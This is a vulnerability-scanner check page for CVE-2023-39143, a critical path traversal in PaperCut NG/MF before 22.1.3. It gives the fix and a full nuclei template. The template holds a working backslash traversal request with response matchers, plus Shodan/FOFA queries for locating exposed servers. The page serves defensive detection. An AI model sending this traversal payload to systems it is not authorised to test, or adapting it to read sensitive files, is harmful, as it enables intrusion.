PaperCut < 22.1.3 - Path Traversal

criticalseverity

9.8CVSS score

80.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.

Impact

An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of information or remote code execution.

Fix

Upgrade PaperCut to version 22.1.3 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/custom-report-example/..\..\..\deployment\sharp\icons\home-app.png
Positive when: content_length == 1655 and status_code == 200 and contains(to_lower(content_type), "image/png") and contains(hex_encode(body), "89504e470d0a1a0a")

Run it with nuclei: nuclei -id CVE-2023-39143 -u <target>

The full check

id: CVE-2023-39143

info:
  name: PaperCut < 22.1.3 - Path Traversal
  author: pdteam
  severity: critical
  description: PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of information or remote code execution.
  remediation: |
    Upgrade PaperCut to version 22.1.3 or later to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39143
    - https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/
    - https://www.papercut.com/kb/Main/securitybulletinjuly2023/
    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39143
    cwe-id: CWE-22
    epss-score: 0.80065
    epss-percentile: 0.99619
    cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: papercut
    product: papercut_mf
    shodan-query:
      - html:"content=\"PaperCut\""
      - http.html:"papercut"
      - http.html:"content=\"papercut\""
      - cpe:"cpe:2.3:a:papercut:papercut_mf"
    fofa-query:
      - body="papercut"
      - body="content=\"papercut\""
  tags: cve2023,cve,lfi,papercut,vkev,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png"

    matchers:
      - type: dsl
        dsl:
          - content_length == 1655
          - status_code == 200
          - contains(to_lower(content_type), "image/png")
          - contains(hex_encode(body), "89504e470d0a1a0a") # PNG file signature in hex
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from